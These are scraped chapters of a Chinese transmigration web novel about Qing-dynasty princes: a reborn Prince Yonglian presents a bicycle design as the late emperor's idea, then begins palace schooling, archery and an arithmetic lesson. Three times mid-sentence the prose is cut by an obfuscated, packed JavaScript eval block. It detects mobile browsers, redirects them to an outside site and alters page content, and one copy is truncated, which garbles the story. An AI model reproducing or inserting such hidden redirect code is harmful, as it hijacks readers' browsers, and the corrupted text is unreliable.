钮伦见二哥突然嘟起嘴巴,有点闷闷不乐,就拿起拨浪鼓在他眼前晃晃,“二哥,你这些玩具送给三弟吧。” 永琏回神,“当然可以。” 皇后也这样打算,但她又怕纯嫔多心,自家永琏玩过的东西赏给永璋。 虽说嫡庶本就有尊卑之别,但皇后知道苏氏本就因为自己民人汉女的身份自卑,不希望她多想。 正打算委婉的问问纯嫔想不想要,永琏就跑过来,对纯嫔道:“苏娘娘,我想把玩具送给三弟玩儿,他很喜欢布老虎呢。” 话音未落,小永璋就抱着布老虎跑出来,“娘娘,喜翻……脑斧……” “这……”纯嫔有些迟疑地看向皇后。 “永璋喜欢就拿着玩儿吧。” 钮伦就把剩下的玩具也一股脑抱过来,“这些都给三弟玩儿,他要好好读书去,我们把二哥的玩具分掉。” “喂喂喂,你倒是会做主。”永琏捏捏妹妹的小揪揪,又把玩具整理好,“这个九连环磕掉一块,纯娘娘别嫌弃。” “臣妾感谢二阿哥还来不及,怎么会嫌弃。”纯嫔想谢恩,但几个孩子已经又在外面玩儿起来,皇后娘娘也笑着岔开了话题。 皇后对永璋很好,他并不缺玩具,但小孩子都是喜新厌旧的,有了哥哥的玩具,就不喜欢玩从前的了。 乾隆不翻牌子,但隔三差五还是要去看看三儿子。 这日他去看永璋时,就发现永璋的玩具换了一波。 小家伙把布老虎顶在脑袋上,冲阿玛“嗷呜嗷呜”。 乾隆被萌得不行,“我们小永璋厉害了,会吓唬阿玛了!” 他把那布老虎拿下来看了看,一下就认出来,“这不是永琏小时候玩儿的吗?” “是,这是二阿哥送给永璋的,那日臣妾带小永璋去长春宫玩儿,大阿哥、二阿哥、三格格都很会照顾弟弟。”纯嫔道:“有这么好的哥哥姐姐,是我们永璋的福气。” 乾隆闻言,不禁笑弯了眼睛,那可不,他的儿女都是知友悌的好孩子。 “我们小永璋长大了也要尊重哥哥,知道吗?”乾隆摸摸儿子脸颊,永璋从小身体就有些瘦弱,身上没什么肉,显得脑袋有点大,看着不怎么协调。 乾隆就叮嘱纯嫔,“多带孩子出去晒晒太阳,没事儿就带他去长春宫坐坐。” 永琏去阿哥所了,长春宫就钮伦一个小孩,正好让永璋过去,也能热闹些。 永琏到了阿哥所,完全不需要适应期。毕竟他不是真的六岁小孩,从前也是住过宿舍的。 而且隔壁就是永璜的院子,找大哥玩儿更方便了。 只是这两天他忙着给汗阿玛准备礼物,晚上都一个人钻书房里。 乾隆关心儿子的适应情况,就和陈福打听,听说小主子大部分时间都在书房,心下甚慰。 永琏这孩子学习也太自觉了。 到了八月十三,虽不用文武百官行礼,乾隆还是给自己放了半天假,上午召见完大臣,就去宁寿宫陪皇额娘。 皇后带着三个孩子也在这边。 “高氏和那拉氏也想给万岁爷行礼,您看是在宁寿宫还是……?”皇后问乾隆。 乾隆道:“不必让她们跑了,咱们说话也自在些。” 乾隆这话,远近亲疏都摆在明面上。太后还跟着点了点头。 皇后也不好说什么,便让人去娴妃和高贵妃处传话。 乾隆先陪太后和裕太妃说了会儿话,又似笑非笑看永琏,“你准备的礼物呢?让朕开开眼界。” “汗阿玛要不先看大哥和三妹的礼物?”永琏道:“我的礼物放最后。” 乾隆无奈:“你可真会吊胃口。” 永琏嘿嘿笑。 钮伦就先跑到汗阿玛面前,要给汗阿玛唱歌。 小丫头唱的可可爱爱,中间还边唱边转圈跳舞,逗得太后、裕太妃等笑个不停。 永璜本来是没想到要准备礼物的,还是二弟提醒他,他才写了一个“寿”字。 他这个年纪,能写端正就很好了。 乾隆有些惊喜,“永璜的字大有进益。”毕竟他还没正式让永璜开始练字呢。 在这幅字之前,永璜写废了很多张。但这事儿就不用提了,小少年只乖乖道:“多谢汗阿玛夸奖,儿子一定再接再厉。” 乾隆吩咐李玉把永璜的字收好,才看向永琏,“这下没理由再拖了吧。” “儿子这礼物,需要解释,所以放在最后。”永琏说着从方嬷嬷手里接过一个小木盒,呈给乾隆。 乾隆迫不及待打开,里面是一张图,钮伦也好奇地凑过去看。 永琏就解释道:“儿子曾听皇玛法和身边人讨论过,想造一个双轮车,他还画过图,但好像因为几处细节没有想好,一直没让造办处去造,儿子就按照皇玛法画的图补了些细节。” 乾隆仔细看图上的两轮车,永琏是用炭笔画的,有些细节还单独在旁边画了局部图,比如车把,和两个脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490611|170094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 踏板。 “咦,这个车不用马拉吗?”钮伦疑惑。 永琏就过去指着图上的脚踏板给妹妹解释,“人坐在这个车座上,两只脚踩踏板,踏板就会带动轮子转动,不用马匹。” 钮伦似懂非懂地点点脑袋。 乾隆眉头微蹙,看向永琏,“这些都是你皇玛法说的?” 永琏点头,“但是皇玛法一直没想到车轮的材质,木头轮子太重了。” “那你想到要用什么代替木头了吗?”乾隆盯着儿子。 永琏摇摇头,他有思路,但以他的年纪,不能想的太周全。 “你没想出来,造办处如何做?”乾隆故意板着脸。 永琏:“造办处的匠人很聪明,他们会想到办法的。”他小心翼翼瞄一眼汗阿玛,又耷拉下脑袋,“汗阿玛,永琏已经尽力了,想了好久好久,才画出这个图。” 太后见乾隆神情严肃,以为他对永琏的礼物不满意,忙欲打圆场,“把永琏画的图拿来给哀家瞧瞧。” 乾隆就亲自递给太后,太后一看,小孙孙虽然笔触稚嫩了些,画的却很是清晰明了,至于这个双轮车能不能造出来,那是造办处的事儿,就算造办处尽力了,也有可能是先帝这个设想本来就不靠谱。 “这个双轮车好啊!几千年来竟从未有人想过,也就只有先帝那样见识广博,心思细腻之人才能琢磨出来。”太后道,当然要先夸先帝。 “难为永琏一直记着先帝遗憾,小小年纪,竟愿为此事动脑筋。” 裕太妃赶紧接上:“先帝最喜欢设计这些东西,那风扇,宫里现在都用上了,多好啊!这双轮车若能做出来,也算完成了先帝爷的一桩遗愿。” 永琏:“……”这就有点夸张了,雍正应该没有想发明自行车的遗愿。 但小家伙面上却跟着点头,“就是有一回,汗阿玛送我去勤政亲贤找皇玛法,然后又要赶去洞天深处读书。皇玛法就说汗阿玛走路太累了,可男子坐轿辇也不太像话,在园内骑马更是不妥,如果能有一种不用马拉的车就好了。” 这词儿都是他早编好的,毕竟这是给汗阿玛送的礼物,得和汗阿玛扯上关系。 “永琏也觉得汗阿玛走路很累,尤其在圆明园的时候,那里太大了。所以就一直记着这个双轮车。”永琏道。 乾隆:“……” 他本来还不觉得这双轮车有什么,汗阿玛各种想法多了,除了处理政务,就喜欢设计一些小东西,连泼灰处差役的护目眼镜都能琢磨出来。 有些造办处能做出来,有些造办处也是屡试屡败,浪费材料。 这个双轮车,他也没想到好处在哪,人踩脚踏板不一样要费力吗?跑的也没马快,看起来很鸡肋。 但当永琏说出汗阿玛有此想法的缘由时,乾隆的鼻子就开始发酸。当他听到宝贝儿子也心疼他,一直想完善细节时,眼眶瞬间湿了。 他的父亲和儿子,都这般关心他。 他,爱新觉罗弘历,何其幸运。 永琏一抬头就见阿玛眼眶红红。 乾隆察觉到儿子的目光,赶紧别开脸,正好对上皇后的视线。 扭到另一边又会被皇额娘瞧见。 其实太后、皇后早就察觉乾隆眼中有泪。 只是当着孩子们的面,强忍着罢了。 婆媳俩同时掏出帕子,太后:“先帝真是一片慈父心肠啊……我们母子能得先帝照拂,真是三生修来的福气……” 皇后:“……”还是让婆母发挥吧,她只要跟着哭,自家爷就好意思哭了。 果然,这婆媳俩一哭,乾隆瞬间就没那么重包袱了,忍了许久的眼泪终于落下来,“汗阿玛……儿子多想一直孝敬您……” 屋里裕太妃和仨小孩都有点看傻了,裕太妃心说这虽然感动,但有点哭不出来啊…… 要不还是掏出帕子参与一下吧。 永璜、钮伦直接懵住,他们应该跟着一起哭吗? 永琏把下巴垫在汗阿玛膝盖上,仰着小脸看汗阿玛,“汗阿玛别哭呀……永琏把双轮车画出来了,下回去告诉皇玛法,皇玛法在天有灵一定高兴的。” 这话只有他们父子明白。 乾隆一愣,这才想起来,这事儿真能让汗阿玛知道。 汗阿玛知道后,一定很欣慰。 乾隆就把儿子抱到腿上,摸着他的小脸,“你送的礼物汗阿玛非常喜欢。” “但有一半是皇玛法送的呀!”钮伦忍不住道。 永琏:“……”这丫头,说得好像有几分道理。 永璜则向着弟弟说话,“没有永琏记得皇玛法的遗愿,这双轮车就造不出来了。” 永琏:“……”每次提到“遗愿”这俩字他就心虚。 而且…… “这双轮车还不一定能造出来。”永琏道。 乾隆哼道:“你和汗阿玛如此用心设计,造办处若还是造不出来,那朕真是白养着他们了。” 永琏:“……” 不好!这下造办处压力大了! 14.第十四章 经过先帝的调教,造办处的官员和匠人以为他们的心态和能力已经很强,没什么能难倒他们。 听皇上说,这次让他们制造的东西是二阿哥画的图,众人就更放松了。 大概率和上次的数学教具难度差不多。 直到他们看了双轮车的图纸。 这是一个六岁小孩能想出来的? 皇上解释了,说这双轮车是先帝设计,只是二阿哥进行完善。 众人:“……” 果然,只有先帝能设计出这样刁钻的东西! 先帝驾崩后,造办处的人都轻松很多。 没想到,噩梦并未结束! 乾隆对这些一窍不通,想着双轮车又不用雕花刻字,应该花不了几天。 十天过去,造办处一点消息都没有。 乾隆就急了。 今日是永璜、永琏正式入尚书房读书的第一天,乾隆关心俩儿子的情况,就叫他们到养心殿用晚膳。 俩小孩除了早起有点困外,其他方面都适应良好,永琏还夸了阿桂和陈德华这两位师父。 乾隆这才放下心,就跟俩儿子抱怨造办处效率太低。 “……就算没有成品,好歹也做出个模型吧。”乾隆道。 他还想骑着双轮车去雍和宫给汗阿玛看看呢,再晚就只能把车带去泰陵了,骑去泰陵显然不可能…… 永琏就笑眯眯道:“汗阿玛,制造双轮车可没那么简单,一年内能造出来就很好了。” “什么?一年?”乾隆皱眉,半年都能烧好几炉瓷器了。 “车轮与脚踏板的连接都需要榫卯结构,每一个零件的大小轻重都需要试验……”永琏道:“而且这双轮车做出来不是摆着看的,最重要的是能骑,想想就复杂……” 乾隆:“……真的吗?你少为那些人开脱。” 永琏:“儿子才没有替他们开脱,儿子是深有体会,光是完善皇玛法的设计,画出那张图纸,儿子想得脑袋都疼了。”小家伙说着皱皱鼻子,趁机撒娇。 永璜在旁听着,不由感叹二弟对汗阿玛的一片孝心。 乾隆忍不住笑起来,正好今日晚膳有一道西芹桃仁,乾隆就舀了一勺核桃仁到永琏碗里,“吃核桃仁补补脑。” 永琏:“……” 永琏就跟汗阿玛提议,“您可以和造办处那边说,谁最早造出来有赏。” “赏赐当然不会少,朕是小气的人吗?”乾隆哼道。 “要重赏,因为这双轮车若朕能造出来,可不止是汗阿玛可以少走路,那些缺少马匹的地方,也能用上。”永琏道:“还有圆明园里传旨的太监,最需要了。” 乾隆听到这儿,忍不住抬手打断儿子,“等等……你的意思是太监和朕骑同一种车?” 永琏:“……对啊!” 辛辛苦苦画出自行车图纸,可不是只让乾隆一个人骑的啊! 乾隆;“……” 乾隆眉头皱得能夹死一只苍蝇。 永璜忍不住道:“可这车是皇玛法和你为汗阿玛设计的呀。” 永琏:“可汗阿玛若是能将这种双轮车推广开,造福更多人,也是彰显汗阿玛的仁德。以后大家骑着双轮车,都会感谢汗阿玛的恩德。” 乾隆瞪了永琏一眼,却没继续这个话题,“吃饭吃饭,一会儿还要去校场呢。” 永琏也没急着说服汗阿玛,车还没造出来呢,先为这事儿吵一架不值当。 于是乖乖拿起筷子,继续吃饭。 永璜听了弟弟的话,倒是被说服了。 弟弟的眼光真长远。 用过晚膳,永琏有些昏昏欲睡,喝茶的时候就开始打哈欠。 乾隆本是不想让他睡的,但考虑到小家伙头一天起那么早上学,困了也可以理解,就让他去罗汉床上躺一会儿。 永琏午睡,永璜干等着也不像话。 他索性让兄弟俩挤一挤。 永璜躺在罗汉床上兴奋的根本睡不着,他这辈子竟然能在养心殿西暖阁睡午觉! 他想跟弟弟分享自己激动的心情,可旁边的弟弟已经没心没肺地打起了小呼噜。 永璜:“……” 永琏睡着睡着翻了个身,抱住哥哥手臂,继续呼噜呼噜。 乾隆轻手轻脚进里间看俩儿子,就看到二儿子抱着哥哥的手臂睡得香甜,大儿子睁着大眼睛望房顶,精神得很。 永璜见汗阿玛进来了,又不好下床行礼,有些无措。 乾隆就走到床边,在他脑门上轻轻拍了两下,小声道:“闭上眼睛养神。” 永璜就乖乖闭上眼睛,嘴角却不自觉翘了起来。 永琏只睡了一刻钟,就被乾隆叫起。 小家伙迷迷糊糊的,坐在榻上醒盹儿。 马瑞拿了湿帕子给他擦脸,乾隆就在旁边絮叨:“朕小时候从不像你这样贪睡。” “所以汗阿玛是真龙天子,精力异于常人。”永琏清醒了一点儿,赶紧吹彩虹屁。 乾隆虽然被拍的挺舒服,但转念一想,这小子以后也是要当皇帝的啊,哪里是常人。 思及此,他又板起脸,“这是最后一次,从明儿起,再不许在这睡午觉。” 永琏擦好脸,穿上鞋子,跑到汗阿玛身边,乖乖道:“那肯定呀,今儿不是汗阿玛叫我们来用晚膳,我和大哥才有幸在这休息么。” 乾隆一想也是,从前他们在尚书房读书,晚膳后就在尚书房休息一会儿,尚书房人多,难免有交头接耳的,再困也睡不着。顶多闲聊几句,就往校场去练习骑射了。 永璜、永琏收拾好,又喝了小半杯茶,就往校场去。 乾隆还在叮嘱二人身边的太监,要及时提醒小主子喝水。 永璜、永琏被召去养心殿,二人的伴读就在尚书房休息。 额尔登额比明瑞大四岁,不自觉就像大哥哥一样照顾明瑞。 因为明瑞年纪小,之前只用过弹弓,有点担心下午的骑射课表现不好。 额尔登额就给他讲了一些拉弓的技巧。还说要送一把自己初学时用过的弓给明瑞。 明瑞高兴地说了谢谢,回头自己也送本书当回礼。 二人看时间差不多了,就往校场去。 策楞已经到了,他和永常年纪相仿,一起当差,关系很亲近,对额尔登额也很熟了。 一见他就说:“今日教的你都会了,却不许骄傲。” 额尔登额笑着答应,“阿玛说,哪怕都会了,也能从世伯这里学到新东西。” 策楞笑着按了按他脑袋,“要叫谙达。” 额尔登额赶紧改口:“谙达。” 策楞又看小明瑞,心说富察家这孩子瞧着太单薄了,以后估计是当文官的材料,先做笔帖式,再入六部,那么弓马骑射过得去就行。 几人没等一会儿,永璜、永琏就到了。 二人先给策楞师父行了礼。 永琏瞧着人高马大的策楞师父,心情有点复杂。钮祜禄家兄弟里,策楞谎报战绩,被治罪,返京途中被准噶尔兵杀死。爱必达在湖广总督任上袒护下属,被发配伊犁效力,讷亲升得最快,死的最惨,因为延误战机被斩首。 就一个阿里衮没犯太大错误,最后在第四次清缅战争中染病去世。 想到阿里衮,永琏忍不住瞥一眼额尔登额。 都怪他!否则哪有第四次征缅? 额尔登额今早就发现了,二阿哥对自己有些冷淡。 但他没太放在心上,毕竟自己不是二阿哥的伴读,二阿哥哪怕完全不搭理自己也无可厚非。 可二阿哥对大阿哥以及他自己的伴读明瑞都很热情,休息的时候就凑过来和他们说话。 额尔登额就有几分尴尬。 他就只能降低存在感,以免自己碍了二阿哥的眼。 但二阿哥突然瞪自己,又是为何? 小少年有点委屈,回想了下自己今日的表现,没出什么差错啊! 二阿哥不可能无缘无故讨厌自己。 哎,晚上回去告诉阿玛,让阿玛帮自己分析分析吧。 今日学得是拿弓的姿势,不用费什么力气。 四个小少年很快就学会了。 策楞让四人保持这个动作一会儿,明瑞的小胳膊很快就开始发抖。 策楞就让他放下弓休息。 明瑞休息了片刻,又重新拿起弓。 策楞心说这孩子还挺能吃苦的。 骑射课快结束时,乾隆过来溜达了一圈。 然后又在四个小孩跟前展示了下自己的神射。 四个小豆丁都是一脸崇拜。 旁边策楞笑道:“皇上射箭向来如此,百发百中。” 乾隆:“是啊,今儿状态其实一般,刚一直低头看折子,手臂没活动开。” 永琏:…… 汗阿玛果然是老凡尔赛了。 乾隆见四个小孩拿弓的姿势都挺标准,很满意,溜溜达达的回去继续看奏折。 骑射课结束,额尔登额和明瑞向两位小主子行礼告辞,明瑞还要多一步,去向皇后姑妈行礼。 永璜、永琏就和他一起过去。 额尔登额一个人先出宫。 孩子们头一天上学,皇后难免担心。 用晚膳的时候,派人去尚书房看看情况,听说两位小阿哥被叫去养心殿了。 她稍稍放心一些,皇上跟她一样关心孩子,如果俩孩子有什么不适应,皇上一定想办法解决。 若是寻常人家,男主人像弘历这样细心,主母肯定省不少心。 但在皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494880|170094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家,皇上这样的细心,多少会让周围人压力太大,出一点小错都有可能惹皇上不满。 皇后不担心两个儿子,却有点为师父们和俩伴读担心,就怕皇上挑他们的毛病。 待仨小孩蹦蹦跳跳回来给她请安,小明瑞脸上也高高兴兴的,皇后才松了半口气,又问明瑞和额尔登额相处如何? 伴读之间关系亲近,也有助于永璜、永琏的兄弟感情。 明瑞笑眯眯道:“董鄂大哥人特别好,给我讲了好多有用的道理。” 永琏心情复杂,想说你小子也太好收买了,但又说不出口,额尔登额这人说话行事确实挺得体,既恭敬又不显得谄媚,很有世家子弟的落落大方。 他要是不知道后来那些事,肯定也喜欢额尔登额的。 皇后注意到儿子欲言又止,等明瑞走了,借着要给永琏做衣服量尺寸的由头,把他叫到次间,轻声问他,“怎么?明瑞刚才有什么隐瞒吗?” 永琏:“这个儿子不太清楚,额尔登额应该是在用晚膳的时候和明瑞说话的,当时我和大哥去养心殿了。” 皇后点头,“那你觉得他如何?对你大哥可还恭敬?” 永琏点头,“他对大哥挺好的。”现在不是说额尔登额坏话的时候,很容易就会被揭穿,还会影响他和大哥的关系。 皇后颔首,“那就好。”她不担心别的,就担心额尔登额看人下菜,对永璜不尽心。 永璜、永琏在长春宫用了几块点心,又陪着钮伦玩耍一会儿,才回到阿哥所。 师父布置的功课不多,要完成的就是背熟今日学的两句,然后写五页大字。 今日学的《学而篇》头几句,永琏当然会背,只用复习一下满文的。 大字也很简单,虽然他前世没学过书法,但用毛笔写几个笔画简单的字还是很快。 做完功课,永琏就洗漱早早躺下。早上四点就起来了,谁能不困啊! 然而此时,承恩侯府,明瑞还不能睡。 他回家后先被额娘拉着问了一遍在宫里的情况,小叔又来。 好不容易让小叔放心了,他做完功课,阿玛回来了,又把他叫到书房,让他把从进宫到出宫的过程再讲一遍。 明瑞就从入宫开始说:“我倒的时候,大阿哥、二阿哥已经到了……” 傅文听第一句就开始皱眉,“你早上不是出门挺早的?怎么会比两位阿哥倒的还晚?” 明瑞:“从宫门到尚书房还要走一段路。” “你走太慢了,明儿阿玛当值,阿玛带你走。”傅文道。 明瑞有点小委屈,自己人小腿短,已经在努力快走了,宫里又不能跑。 傅文最关心的是,二阿哥对明瑞的态度。 说起二阿哥,小明瑞就高兴起来,“二阿哥对我可好了,很会照顾我,知道我喜欢吃驴打滚,还把他那份也给我了。” 傅文忍不住敲儿子脑袋,“不是给你,是赏你。” “二阿哥说不是赏,是交换,因为他吃了我的核桃酥。”明瑞道。 傅文:“……” 人家伴读都是去伺候小主子爷的,自家明瑞进宫怎么像是去交朋友的? 他不由想起傅恒上回说的,二阿哥一见明瑞就想和他做朋友…… 还真做朋友啊?自家明瑞能有这福气吗? 想到二阿哥八成就是太子,他赶紧压下心中欢喜,严肃叮嘱儿子,要小心侍奉,“有点眼色,那个额尔登额比你们大几岁,肯定更懂规矩,你就跟他学。” 明瑞点头,又夸额尔登额,小家伙感觉自己一下有了两个哥哥。 与此同时,董鄂家,永常也在帮儿子复盘今日的伴读生活。 他听儿子说,二阿哥好像不太待见自家儿子,倒也不觉得奇怪。 尚书房现在就四个人,二阿哥跟大阿哥是兄弟,从小一起玩到大的,关系自然亲近。 明瑞是他小堂弟,估计以前也一起玩儿过,而且二阿哥对富察家的人肯定多几分信任,别说二阿哥,万岁爷都是如此。 只有自家儿子是二阿哥完全没接触过的,自家儿子又年长几岁,说话做事难免多几分恭敬。二阿哥定然很难和他亲近起来。 但以后相处的日子还长,自家儿子一定要想法子融入另外三人之中。 “你要学会说话,多跟两位小主子表忠心。”永常道。 额尔登额:“儿子和大阿哥表忠心正常,和二阿哥……” 永常在儿子脑袋上敲了下,“你肯定不能直接和二阿哥说,但你可以和明瑞说啊,你不是说明瑞很亲近你吗?你就找机会和他提提,对二阿哥的敬仰,日后你和明瑞一起,替二阿哥效力。” 永常说着把自己说激动了,以后自家儿子和明瑞一文一武辅佐二阿哥,也是一段佳话啊! 15.第十五章 永琏原本以为自己很难适应尚书房的生活,天还没亮就要起床,读书要读一百二十遍,下午还有近两个小时的体育,这听起来就很可怕。 他都做好了早上上课打瞌睡站着听的准备,前世上学,早上七点起都难免打瞌睡。更何况现在四点起。 可他这小身板还挺争气,起那么早上午还是精神奕奕的,直到用过晚膳,才开始犯困。 阿桂和陈德华都跟乾隆夸他,说二阿哥听课认真,悟性也很高。 陈德华是主要夸两位小主子,大阿哥也很踏实用功,字写得更是端正。 阿桂则是把四个小孩都夸一遍,“明瑞那孩子也很聪明,难得的是小小年纪不浮躁,能安安静静练半个时辰的字……正所谓近朱者赤,有二阿哥做榜样,明瑞自然见贤思齐。” 这话说得乾隆通身舒泰,其他小主子的伴读,是替小主子挨打受罚的,他儿子的伴读,是来向榜样学习的。 这样下去,额尔登额和明瑞对永璜、永琏的恭敬和钦佩只会越来越深。 就像额尔登额他阿玛永常,跟随自己办一趟差事,回来就对自己万分钦佩。 优秀的人,随便展现一下自己的才能和魅力,别人就佩服的五体投地,只有才能不够的人,才要用小恩小惠收买人心。 阿桂退下后,他继续看折子,正好是某地官员呈上来或可赦免的罪犯名单。 乾隆登基以来,赦免了许多罪犯,以此彰显仁德。 但他心里很清楚,他赦免的有些罪犯并非蒙冤入狱,从前确实是作恶多端,比如某些先帝朝被抄家的贪官污吏及其族中子弟。 这些人在官场多少是有些门路在的,当地官员得知自己要赦免罪犯,报那些疑案、冤案的同时,也会把这些人的名字报上来。 乾隆从前觉得把这些人放了,既能让这些人感恩戴德,也可让其他百姓赞他宽仁。 但这会儿他却有几分犹豫,这些人出来后,称赞自己的同时,一定会说先帝的不是,而且他们家中田宅都被变卖或者充公,也没什么正经谋生的手艺,出来后游手好闲,难保不小偷小摸…… 乾隆纠结了许久,最终没敢大手一挥赦免这么多人,而是让这名官员将蒙冤入狱之人标明,并附上案件的大致情况和当时办案的官员姓名。 自己以后造福百姓的机会还多的是,没必要靠释放几名罪犯来彰显仁德。 乾隆不由想起了那双轮车,如果骑起来不费力,不仅可以让宫里的奴才们体会便利,推广到民间,买不起马车的百姓也有了代步的工具。 到那时候,自己在宣传一下双轮车的来历。先帝、自己和永琏三代人都能得到好名声,而且皇家父子亲情也是天下万民的榜样。 ……可以让人排一出戏,就演这双轮车的由来,他就不信百姓们不为之感动! 戏本子他都想好了,就差双轮车…… 永琏还不知道汗阿玛已经迫不及待要推广双轮车,他现在满眼期待,等着十六叔公来给他们上数学课。 数学课每旬只安排三次,今日是头一回上。 结果,十六叔公他迟到半刻钟…… “对不住对不住,刚在路上遇到和亲王,跟他聊了几句,没注意时间……”允禄倒不是怕两个小侄孙,只是怕他们去皇上跟前告状。 永璜、永琏忙道没关系。 永琏见十六叔公跑的帽子都歪了,忍不住笑,不愧是能和苏培盛坐一张凳子上聊天的人,没有一点王爷包袱。 “叔公喝口茶,缓一缓再开始上课。”永琏甜甜道。 他说着就吩咐小太监进来倒茶。 允禄笑呵呵的,二阿哥这机灵劲儿和皇上小时候一样。 他就坐下慢悠悠喝茶,先给四个小孩讲了下自己小时候学数学的事儿。 “圣祖爷喜欢数学,老爷子批奏折累了,就做两道数学题换换脑子。他知道我喜欢数学,就把他算过的草稿纸给我,我先把下面的答案遮住,看上面的题目自己算,算完了再对答案。有一次,怎么算都和汗阿玛的答案不一样,我一晚上没睡,第二天去找汗阿玛请教,结果是汗阿玛算错了……” 允禄说着哈哈笑起来,永琏也跟着笑。 俩人傻乐一会儿,发现屋里其他三人都很安静。 永琏慢半拍反应过来,自己不能笑乌库玛法。 允禄轻咳,“这个……我想跟你们说的是,偶尔做错题是很正常的,重要的是及时发现,以后不再犯同样的错。”他才不是想趁机笑话汗阿玛呢,这几个臭小子别理解错了。 永琏一个劲点头,“做错的题目应该记下来,时不时拿出来看看,这样就能避免犯同样的错误。”错题本搞起来! “二阿哥这法子好,以后你们就找个册子专门记错题。”允禄道。 四个小少年乖乖答应,允禄又看向永琏,“听皇上说,你做了一些数学教具?” 永琏点头,把自己的一套教具拿给十六叔公看。 允禄忍不住揉揉永琏脑袋,“你倒是会想法子,有了这些东西,倒省的我画一遍了。” 永琏道:“可是我当时想得不周到,只让内务府做了三套,忘了明瑞和额尔登额。” 允禄道:“这个容易,你们和各自的伴读坐近些,大家一起学,还能互相讨论。”他说着就让俩伴读把椅子挪到自家小主子旁边。 明瑞迅速搬着椅子过来,上数学课真有意思。 乾隆刚看两本奏折,弘昼就来了。 “刚我遇见十六叔了,他去尚书房给永琏他们上数学课呢。”弘昼笑道:“我见十六叔两手空空,就问他当师父的怎么不带课本?他说给几个娃娃教数学,不用课本,有纸笔就够了。尚书房都预备着。” 乾隆:“……他倒是轻松。” “那可不。”弘昼喝口茶,又随手从果盘里拿葡萄吃。 只有他们兄弟俩,弘昼向来放松。 乾隆道:“走,咱们去尚书房瞧瞧,看十六叔怎么教的。” “嗯嗯,等我把这俩葡萄吃完。” 乾隆:“……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507562|170094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 兄弟俩刚到尚书房门口,就听到里面传出小少年们的说话声。 “明瑞,怎么少了两根木棍?” “这是多出来的,奴才帮阿哥爷藏起来。” “大阿哥,咱们也多出两根木棍……” 弘昼和皇兄对视一眼。 这帮小崽子们做什么呢? 他正打算让人通传,乾隆却抬手拦了下,先问门口守着的小太监,“庄亲王出去了?” “回万岁爷,庄亲王在里面。” 乾隆:“……” 师父还在,这几个小子怎么能这么闹腾? 他也不等人通传,直接上前两步推开门。 屋内先是安静了一瞬,然后是拉凳子的声音,允禄和四个小少年赶紧起身行礼。 “十六叔这是累了?让孩子们休息?”乾隆看向允禄。 “没休息,我让他们算题。”允禄道。 “算题怎么这么大动静啊?”弘昼都觉得不像话,“而且明瑞和额尔登额,你俩挤在两位小阿哥旁边做什么?” 额尔登额和明瑞被皇上气场所慑,紧张的不知如何回答。 永琏道:“我们在讨论题目。”他说着指指桌上摆着的小木棍,“十六叔公让我们把二十根小木棍平均分成六分,但是我们分不匀,多出来两根。” 他说着眼巴巴看向汗阿玛,“汗阿玛您快帮我们看看,哪里错了?” 乾隆对上儿子求助的小眼神,下意识上前,“让朕看看……” “等会儿,二十根木棍本来就没法平均分成六份啊。”他突然反应过来,看向允禄。 “是啊,我正是要教几个孩子乘除法。”允禄笑道。 四个小少年都好奇地望着允禄,一副求知若渴的模样。 乾隆:“……你们继续,讨论题目可以,不许说闲话。”他说着随手在永琏脑袋上按了下就往外走。 弘昼心说这就完了? 皇兄竟然没发脾气? 但没发脾气肯定是好事,也省的他出来打圆场,弘昼忙跟上皇兄出了屋子。 回养心殿的路上,弘昼见乾隆还是板着脸,就笑呵呵道:“就四个学生,若是真说闲话,十六叔肯定发现了。而且一起讨论也好,当年汗阿玛和十三叔不就一起学数学么?这种学问或许就要多讨论多交流才能进步快。” 乾隆哼道:“汗阿玛当年是教十三叔学数学,不是讨论!” “哦,那您刚为何还说可以讨论?”弘昼问。 乾隆:“几个臭小子学得兴致勃勃,朕不让他们讨论,他们定然不高兴。”等回头他再慢慢教育几个臭小子,今儿先让他们把这题学明白。 “您还怕他们不高兴?”弘昼惊讶,话说出口才意识到,这话又说错了。 “皇兄一片苦心,我都替小侄子们感动。”和亲王赶紧找补,“孩子们肯定不会辜负皇兄,日后定成大器。” 乾隆:“……” “那个……皇兄,您先忙,臣弟去给皇额娘请安了。” 16.第十六章 允禄上课前,先出了几道题,摸清四个孩子的基础。 四个小孩都能算清五十以内的加减法,额尔登额、永璜、永琏会背九九乘法歌,明瑞背不全,但也能说上“二二得四、三三得九”,能理解乘是什么意思。 但让他们反过来算除法,就都乱套了。 允禄这才从除法讲起。 幸好有计数棒,四个小孩算不明白,就一起分小木棍。渐渐地就理解除法是怎么回事了。 永琏当然是早就会的,但他也只能装作比明瑞稍微强一点。 